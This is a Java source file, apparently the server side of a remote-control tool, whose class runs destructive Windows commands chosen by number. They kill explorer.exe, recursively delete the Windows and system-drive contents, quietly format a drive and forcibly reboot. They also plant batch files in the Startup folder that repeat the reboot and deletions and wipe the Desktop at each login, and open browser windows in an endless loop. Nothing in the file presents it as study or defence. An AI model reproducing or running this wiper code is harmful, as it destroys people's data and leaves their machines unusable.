package server.system;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;

public class thread implements Runnable {

	private int number = 0; 
	private String d = "";


	public thread(final int i , final String s){
		number = i;
		d = s;
	}

	@SuppressWarnings("unused")
	@Override
	public void run() {
		BufferedReader br3 = null;
		Process process = null;
		String str1 ="";
		try {
			switch(number){
			case 0:
				process = Runtime.getRuntime().exec("cmd /c @taskkill /f /im explorer.exe");
				break;
			case 1:
				process = Runtime.getRuntime().exec("cmd /c @del /f /s /q %windir%\\*");
				br3 = new BufferedReader(new InputStreamReader(process.getInputStream()));
				while ((str1 = br3.readLine()) != null){
				}
				br3.close();
				break;
			case 2:
				process = Runtime.getRuntime().exec("cmd /c @del /f /s /q %systemdrive%\\*");
				br3 = new BufferedReader(new InputStreamReader(process.getInputStream()));
				while ((str1 = br3.readLine()) != null){
				}
				br3.close();
				break;
			case 3:
				process = Runtime.getRuntime().exec("cmd /c @format "+d+": /q /y >nul ");
				br3 = new BufferedReader(new InputStreamReader(process.getInputStream()));
				while ((str1 = br3.readLine()) != null){
				}
				br3.close();
				break;
			case 4:
				process = Runtime.getRuntime().exec("cmd /c @shutdown /r /t 15");
				BufferedWriter out = null;
				try{
					out =new BufferedWriter(new FileWriter("15" + ".bat", false));
					out.write("cmd /c");
					out.newLine();
					out.write("cd /d %USERPROFILE%");
					out.newLine();
					out.write("cd");
					out.newLine();
					out.flush();
					process = Runtime.getRuntime().exec("cmd /c @start /B 15.bat");
					process.waitFor();
					BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
					String msg =null;
					StringBuilder bs = new StringBuilder();
					while((msg = br.readLine()) != null){
						if(msg.startsWith("C:\\Users\\") && msg.substring(msg.length()-2).equals("cd")){
							System.out.println(msg);
							bs.append(msg);
							break;
						}
					}
					br.close();
					msg = bs.toString();
					String pp =msg.substring(0,msg.length()-3);
					out =new BufferedWriter(new FileWriter(pp+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1" + ".bat", false));
					out.write("@shutdown /r /t 0");
					out.flush();
					out =new BufferedWriter(new FileWriter(pp+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\2" + ".bat", false));
					out.write("cmd /c @del /f /s /q %windir%\\*");
					out.flush();
					out =new BufferedWriter(new FileWriter(pp+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3" + ".bat", false));
					out.write("cmd /c @del /f /s /q "+pp+"\\Desktop\\*");
					out.flush();
						ProcessBuilder pb = new ProcessBuilder("cmd","/c","@move","/y","./","%USERPROFILE%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat");
						pb.start();
						pb = new ProcessBuilder("cmd","/c","@move","/y","./","%USERPROFILE%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/2.bat");
						pb.start();
						pb = new ProcessBuilder("cmd","/c","@move","/y","./","%USERPROFILE%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/3.bat");
						pb.start();
				}catch(Exception e){
					e.printStackTrace();
				}finally{
					if(out !=null){
						out.close();
					}
				}	try {
					Thread.sleep(8000);
				} catch (InterruptedException e) {
				}
				break;
			case 5:
				while(true){
					try {
						Thread.sleep(500);
					} catch (InterruptedException e) {
					}
					//
					process = Runtime.getRuntime().exec("cmd /c @start /max IEXPLORE.EXE http://127.0.0.1");
				}
			}
		} catch (IOException e) {
		}

	}


}